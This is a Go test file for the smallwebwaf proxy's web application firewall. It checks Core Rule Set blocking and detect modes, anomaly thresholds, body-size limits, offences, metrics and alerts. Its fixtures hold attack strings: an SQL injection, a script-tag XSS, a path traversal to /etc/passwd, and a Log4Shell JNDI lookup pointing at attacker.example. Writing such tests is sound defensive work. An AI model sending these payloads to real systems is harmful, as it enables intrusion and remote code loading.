check / check (push) Waiting to run
SWWAF_WAF_BODY_LIMIT (default off, at most 1G) has the Core Rule Set read form data and multipart up to the limit, the rest streaming on, and JSON and XML (with +json, text/json and +xml) no larger than it. The part read is held for the app. A size or time limit met while reading ends the request. Content-Encoding is refused again on these kinds. A body Coraza cannot parse, or a multipart body failing its strict checks, adds 5, but not a multipart body reaching the limit. Coraza is built with no_fs_access, so writes no file. Rule 900300 moves to phase 2. Judgement call: Content-Encoding is refused on a JSON or XML body too large to read, as SPEC.md allows. Model: opus-5-5
591 lines
18 KiB
Go
591 lines
18 KiB
Go
package proxy_test
|
|
|
|
import (
|
|
"io"
|
|
"net/http"
|
|
"net/netip"
|
|
"slices"
|
|
"strconv"
|
|
"strings"
|
|
"testing"
|
|
"time"
|
|
|
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
|
)
|
|
|
|
// The Core Rule Set's settings the tests set, besides SWWAF_WAF_MODE, and
|
|
// its two modes that inspect requests.
|
|
const (
|
|
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
|
|
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES"
|
|
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS"
|
|
wafBodyLimit = "SWWAF_WAF_BODY_LIMIT"
|
|
block = "block"
|
|
detect = "detect"
|
|
)
|
|
|
|
// formData is the type of a form's body.
|
|
const formData = "application/x-www-form-urlencoded"
|
|
|
|
// sqlInjection asks for / with an SQL injection in its query, which only
|
|
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
|
|
// SWWAF_WAF_ANOMALY_THRESHOLD.
|
|
const sqlInjection = "/?id=1'%20OR%20'1'='1"
|
|
|
|
// wantWAF checks the request log line's waf_rule_ids and waf_score, and
|
|
// that it has duration_waf, or with no score, that it has none of the
|
|
// three: the Core Rule Set did not inspect the request.
|
|
func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) {
|
|
t.Helper()
|
|
|
|
if !slices.Equal(line.WAFRuleIDs, ruleIDs) {
|
|
t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs)
|
|
}
|
|
|
|
switch {
|
|
case score == nil && (line.WAFScore != nil || line.DurationWAF != nil):
|
|
t.Errorf("log line has waf_score %v and duration_waf %v, want neither",
|
|
line.fields["waf_score"], line.fields["duration_waf"])
|
|
case score != nil && (line.WAFScore == nil || *line.WAFScore != *score):
|
|
t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score)
|
|
case score != nil && line.DurationWAF == nil:
|
|
t.Error("log line has no duration_waf")
|
|
}
|
|
}
|
|
|
|
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, attack := range []struct {
|
|
name, path, header string
|
|
ruleIDs []int
|
|
score int
|
|
}{
|
|
{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
|
|
{
|
|
"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
|
|
[]int{941100, 941110, 941160, 941390}, 20,
|
|
},
|
|
{
|
|
"path traversal in the path", "/files/../../etc/passwd", "",
|
|
[]int{930100, 930110}, 10,
|
|
},
|
|
{
|
|
"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
|
|
[]int{944150}, 5,
|
|
},
|
|
{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
|
|
{
|
|
// Coraza keeps the first 1000 query parameters.
|
|
"SQL injection after 1000 query parameters",
|
|
"/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "",
|
|
[]int{900300}, 5,
|
|
},
|
|
} {
|
|
t.Run(attack.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, tc := range []struct {
|
|
mode, action string
|
|
status int
|
|
}{
|
|
{block, requestlog.ActionWAFBlocked, http.StatusForbidden},
|
|
{detect, requestlog.ActionForward, http.StatusOK},
|
|
} {
|
|
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
|
|
|
|
line, _ := s.requestWithHeader(client, attack.path, attack.header,
|
|
tc.status, tc.action)
|
|
wantWAF(t, line, &attack.score, attack.ruleIDs...)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
|
|
|
line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
|
|
http.StatusOK, requestlog.ActionForward)
|
|
wantWAF(t, line, new(0))
|
|
}
|
|
|
|
func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
|
t *testing.T,
|
|
) {
|
|
t.Parallel()
|
|
|
|
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
|
|
|
|
s, _, _ := startWithClock(t, "", map[string]string{
|
|
wafMode: block,
|
|
wafExemptPaths: "/api/",
|
|
allowNets: allowed,
|
|
rulesDir: writeRules(t, testRules),
|
|
})
|
|
|
|
// A client in SWWAF_ALLOW_NETS, and a path SWWAF_WAF_EXEMPT_PATHS
|
|
// exempts, are not inspected.
|
|
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
wantWAF(t, line, nil)
|
|
line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
|
|
requestlog.ActionForward)
|
|
wantWAF(t, line, nil)
|
|
|
|
// The prefix is matched as rate limit exempt paths are: a path that
|
|
// goes up and out of it is inspected.
|
|
line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
|
|
requestlog.ActionWAFBlocked)
|
|
wantWAF(t, line, new(25), 930100, 930110, 942100)
|
|
|
|
// A request a rule file refuses is not inspected.
|
|
line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
|
|
requestlog.ActionRuleBlocked)
|
|
wantWAF(t, line, nil)
|
|
|
|
// With SWWAF_WAF_MODE off, no request is.
|
|
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
|
|
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
wantWAF(t, line, nil)
|
|
}
|
|
|
|
func TestAnomalyThreshold(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// A score under the threshold, or with the threshold off, is logged,
|
|
// and refuses nothing.
|
|
for _, threshold := range []string{"6", off} {
|
|
s, _, _ := startWithClock(t, "", map[string]string{
|
|
wafMode: block, wafAnomalyThreshold: threshold,
|
|
})
|
|
|
|
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
wantWAF(t, line, new(5), 942100)
|
|
}
|
|
|
|
s, _, _ := startWithClock(t, "", map[string]string{
|
|
wafMode: block, wafAnomalyThreshold: "5",
|
|
})
|
|
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
|
|
}
|
|
|
|
func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, request := range []struct {
|
|
name, method, path, header string
|
|
// ruleIDs are the rules that match the request with none
|
|
// switched off.
|
|
ruleIDs []int
|
|
}{
|
|
{
|
|
"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
|
|
"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
|
|
[]int{920420, 930130},
|
|
},
|
|
{
|
|
"package upload without a type", http.MethodPut,
|
|
"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
|
|
[]int{920340},
|
|
},
|
|
{
|
|
"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
|
|
[]int{920440},
|
|
},
|
|
{
|
|
"an editor's settings", http.MethodGet,
|
|
"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
|
|
},
|
|
} {
|
|
t.Run(request.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
body := ""
|
|
if request.method != http.MethodGet {
|
|
body = "push"
|
|
}
|
|
|
|
// By default, the rules are switched off.
|
|
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
|
line, _ := s.requestWithBody(request.method, client, request.path,
|
|
request.header, body, http.StatusOK, requestlog.ActionForward)
|
|
wantWAF(t, line, new(0))
|
|
|
|
// A list given replaces the default.
|
|
s, _, _ = startWithClock(t, "", map[string]string{
|
|
wafMode: block, wafDisabledRules: "942100",
|
|
})
|
|
score := 5 * len(request.ruleIDs)
|
|
line, _ = s.requestWithBody(request.method, client, request.path,
|
|
request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked)
|
|
wantWAF(t, line, &score, request.ruleIDs...)
|
|
|
|
// And switches off the rules it lists.
|
|
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
wantWAF(t, line, new(0))
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const body = "id=1'%20OR%20'1'='1"
|
|
|
|
header := "Content-Type: " + formData + "\r\nContent-Length: " +
|
|
strconv.Itoa(len(body))
|
|
|
|
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
|
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
|
|
http.StatusOK, requestlog.ActionForward)
|
|
wantWAF(t, line, new(0))
|
|
|
|
s, _, _ = startWithClock(t, "", map[string]string{
|
|
wafMode: block, wafBodyLimit: sizeLimitSetting,
|
|
})
|
|
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
|
|
http.StatusForbidden, requestlog.ActionWAFBlocked)
|
|
wantWAF(t, line, new(5), 942100)
|
|
}
|
|
|
|
func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// The app answers with the body it was sent, once it has the whole of
|
|
// it: Go's server reads no more of a body once the answer has begun.
|
|
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
|
body, _ := io.ReadAll(r.Body)
|
|
_, _ = w.Write(body)
|
|
})
|
|
addr, out := startProxy(t, app.URL, map[string]string{
|
|
wafMode: block, wafBodyLimit: sizeLimitSetting,
|
|
})
|
|
longer := "a=" + strings.Repeat("b", 64*sizeLimit)
|
|
|
|
for i, tc := range []struct {
|
|
name, contentType, body string
|
|
// announced sends the body's length in Content-Length; otherwise
|
|
// the body is sent in chunks with no length given.
|
|
announced bool
|
|
}{
|
|
{"form data within the limit", formData, "a=b", true},
|
|
{"form data longer than the limit", formData, longer, true},
|
|
{"form data longer than the limit, not announced", formData, longer, false},
|
|
{
|
|
"JSON larger than the limit", "application/json",
|
|
`{"a":"` + strings.Repeat("b", 2*sizeLimit) + `"}`, true,
|
|
},
|
|
{
|
|
"a binary body", "application/octet-stream",
|
|
strings.Repeat("\x00\xff", sizeLimit), true,
|
|
},
|
|
} {
|
|
// A reader whose length the client cannot tell is sent in chunks.
|
|
var body io.Reader = strings.NewReader(tc.body)
|
|
if !tc.announced {
|
|
body = io.MultiReader(body)
|
|
}
|
|
|
|
req := newRequest(t, http.MethodPost, addr, "/", body)
|
|
req.Header.Set("Content-Type", tc.contentType)
|
|
|
|
got := do(t, req)
|
|
if got.status != http.StatusOK || string(got.body) != tc.body {
|
|
t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
|
|
tc.name, len(got.body), got.status, len(tc.body))
|
|
}
|
|
|
|
line := out.requestLines(t, i+1)[i]
|
|
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
|
|
|
|
if line.RequestBytes != int64(len(tc.body)) {
|
|
t.Errorf("%s: log line has request_bytes %d, want %d", tc.name,
|
|
line.RequestBytes, len(tc.body))
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestFormBodyLongerThanTheLimitStreamsOnToTheApp(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const (
|
|
first = "a=" // and twice the limit of b's, then the rest
|
|
rest = 64 * sizeLimit
|
|
)
|
|
|
|
// past is closed once the app has received twice what the Core Rule
|
|
// Set reads, and got is the length of the whole body it received.
|
|
past := make(chan struct{})
|
|
got := make(chan int64, 1)
|
|
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
|
|
n, _ := io.CopyN(io.Discard, r.Body, 2*sizeLimit)
|
|
|
|
close(past)
|
|
|
|
m, _ := io.Copy(io.Discard, r.Body)
|
|
got <- n + m
|
|
})
|
|
addr, out := startProxy(t, app.URL, map[string]string{
|
|
wafMode: block, wafBodyLimit: sizeLimitSetting,
|
|
})
|
|
|
|
// The client sends the rest only once the app has received the first
|
|
// part: were smallwebwaf to hold the body until the end, it would
|
|
// never come.
|
|
body, sender := io.Pipe()
|
|
|
|
go func() {
|
|
_, _ = io.WriteString(sender, first+strings.Repeat("b", 2*sizeLimit))
|
|
|
|
select {
|
|
case <-past:
|
|
case <-time.After(waitLimit):
|
|
t.Error("the app got no more than the Core Rule Set reads " +
|
|
"before the whole body was sent")
|
|
|
|
_ = sender.CloseWithError(io.ErrUnexpectedEOF)
|
|
|
|
return
|
|
}
|
|
|
|
_, _ = io.WriteString(sender, strings.Repeat("b", rest))
|
|
_ = sender.Close()
|
|
}()
|
|
|
|
req := newRequest(t, http.MethodPost, addr, "/", body)
|
|
req.Header.Set("Content-Type", formData)
|
|
wantStatus(t, do(t, req), http.StatusOK)
|
|
|
|
want := int64(len(first) + 2*sizeLimit + rest)
|
|
if n := <-got; n != want {
|
|
t.Errorf("the app got %d bytes, want %d", n, want)
|
|
}
|
|
|
|
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
|
|
}
|
|
|
|
func TestClientTooSlowToSendWhatTheCoreRuleSetReads(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
|
addr, out := startProxy(t, app.URL, map[string]string{
|
|
wafMode: block, wafBodyLimit: sizeLimitSetting,
|
|
clientRequestTimeout: shortTimeoutSetting, metricsToken: token,
|
|
})
|
|
|
|
conn := dial(t, addr)
|
|
send(t, conn, "POST /comment HTTP/1.1\r\nHost: app\r\nContent-Type: "+formData+
|
|
"\r\nContent-Length: 100\r\n\r\ncontent=the first bytes")
|
|
|
|
wantStatus(t, readResponse(t, conn), http.StatusRequestTimeout)
|
|
|
|
line := out.requestLine(t)
|
|
wantLine(t, line, http.StatusRequestTimeout, requestlog.ActionTimedOut)
|
|
wantNotSentToTheApp(t, line)
|
|
wantLimitHits(t, addr, clientRequestTimeout, 1)
|
|
}
|
|
|
|
func TestBodyOverTheSizeLimitWhileTheCoreRuleSetReadsIt(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
|
addr, out := startProxy(t, app.URL, map[string]string{
|
|
wafMode: block, wafBodyLimit: "4K",
|
|
requestMaxBytes: sizeLimitSetting, metricsToken: token,
|
|
})
|
|
|
|
// Sent in chunks, its length is not announced, and is found to be over
|
|
// the limit as the Core Rule Set reads it.
|
|
body := io.MultiReader(strings.NewReader("a=" + strings.Repeat("b", 2*sizeLimit)))
|
|
req := newRequest(t, http.MethodPost, addr, "/", body)
|
|
req.Header.Set("Content-Type", formData)
|
|
wantStatus(t, do(t, req), http.StatusRequestEntityTooLarge)
|
|
|
|
line := out.requestLine(t)
|
|
wantLine(t, line, http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge)
|
|
wantNotSentToTheApp(t, line)
|
|
wantLimitHits(t, addr, requestMaxBytes, 1)
|
|
}
|
|
|
|
// wantNotSentToTheApp checks that the request of line was not sent to the
|
|
// app at all.
|
|
func wantNotSentToTheApp(t *testing.T, line logLine) {
|
|
t.Helper()
|
|
|
|
_, sent := line.fields["duration_upstream_total"]
|
|
if sent {
|
|
t.Error("log line has duration_upstream_total, for a request sent to the app")
|
|
}
|
|
}
|
|
|
|
func TestResponsesAreNotInspected(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// A raw shell script, and an SQL error, which the Core Rule Set's rules
|
|
// for responses take for a leak.
|
|
const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
|
|
"You have an error in your SQL syntax; check the manual that " +
|
|
"corresponds to your MySQL server version\n"
|
|
|
|
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
|
_, _ = w.Write([]byte(page))
|
|
})
|
|
addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
|
|
|
|
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
|
|
if got.status != http.StatusOK || string(got.body) != page {
|
|
t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
|
|
}
|
|
|
|
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
|
|
}
|
|
|
|
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const scraper = "192.0.2.200"
|
|
|
|
s, _, server := startWithClock(t, "", map[string]string{
|
|
wafMode: block, errorBurstThreshold: "2", metricsToken: token,
|
|
})
|
|
|
|
for range 2 {
|
|
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
|
|
}
|
|
|
|
// The third refusal in a minute breaks the error burst, and bans the
|
|
// client.
|
|
line := s.request(client, sqlInjection, http.StatusForbidden,
|
|
requestlog.ActionWAFBlocked)
|
|
if line.LimitHit != requestlog.LimitHitErrorBurst ||
|
|
line.Offence != requestlog.OffenceLimit {
|
|
t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit",
|
|
line.LimitHit, line.Offence)
|
|
}
|
|
|
|
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
|
|
|
|
want := ratelimit.Offences{Limit: 1, WAFBlocked: 3}
|
|
if offences := historyOf(t, server, client).Offences; offences != want {
|
|
t.Errorf("history counts the offences %+v, want %+v", offences, want)
|
|
}
|
|
|
|
metrics := s.scrape(scraper)
|
|
wantMetric(t, metrics,
|
|
`smallwebwaf_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
|
|
wantMetric(t, metrics,
|
|
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`, 3)
|
|
wantMetric(t, metrics, `smallwebwaf_requests_total{action="waf_blocked",`+
|
|
`instance="app",status_class="4xx"}`, 3)
|
|
}
|
|
|
|
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const scraper = "192.0.2.200"
|
|
|
|
s, _, server := startWithClock(t, "", map[string]string{
|
|
wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
|
|
})
|
|
|
|
for range 3 {
|
|
s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
}
|
|
|
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
|
|
|
offences := historyOf(t, server, client).Offences
|
|
if offences != (ratelimit.Offences{}) {
|
|
t.Errorf("history counts the offences %+v, want none", offences)
|
|
}
|
|
|
|
metrics := s.scrape(scraper)
|
|
wantMetric(t, metrics,
|
|
`smallwebwaf_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
|
|
wantNoSeries(t, metrics,
|
|
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`)
|
|
}
|
|
|
|
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
|
|
|
|
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
wantWouldAction(t, line, requestlog.ActionWAFBlocked)
|
|
wantWAF(t, line, new(5), 942100)
|
|
|
|
// It is an offence as in enforce mode.
|
|
want := ratelimit.Offences{WAFBlocked: 1}
|
|
if offences := historyOf(t, server, client).Offences; offences != want {
|
|
t.Errorf("history counts the offences %+v, want %+v", offences, want)
|
|
}
|
|
}
|
|
|
|
func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, tc := range []struct {
|
|
name string
|
|
env map[string]string
|
|
// status and action are what the request is answered and logged
|
|
// with, and alertMode what the alert's detail gives as mode, if
|
|
// anything.
|
|
status int
|
|
action, alertMode string
|
|
}{
|
|
{
|
|
"block", map[string]string{wafMode: block},
|
|
http.StatusForbidden, requestlog.ActionWAFBlocked, "",
|
|
},
|
|
{
|
|
"detect", map[string]string{wafMode: detect},
|
|
http.StatusOK, requestlog.ActionForward, detect,
|
|
},
|
|
{
|
|
"block in observe mode", map[string]string{wafMode: block, mode: observe},
|
|
http.StatusOK, requestlog.ActionForward, observe,
|
|
},
|
|
} {
|
|
t.Run(tc.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
s, clk, _, queue := startWithAlerts(t, tc.env)
|
|
|
|
// The second is a repeat, which the cooldown holds back, and an
|
|
// ordinary request raises none.
|
|
for range 2 {
|
|
s.request(client, sqlInjection, tc.status, tc.action)
|
|
}
|
|
|
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
|
|
|
detail := map[string]any{
|
|
"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
|
|
"path": sqlInjection,
|
|
}
|
|
if tc.alertMode != "" {
|
|
detail["mode"] = tc.alertMode
|
|
}
|
|
|
|
wantAlerts(t, queue, alerts.Alert{
|
|
Instance: alertInstance,
|
|
Time: clk.Now(),
|
|
Event: alerts.EventWAFBlock,
|
|
Client: netip.MustParseAddr(client),
|
|
Netblock: netip.MustParsePrefix(client + "/32"),
|
|
Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
|
|
Detail: detail,
|
|
})
|
|
|
|
if queue.Suppressed() != 1 {
|
|
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
|
|
}
|
|
})
|
|
}
|
|
}
|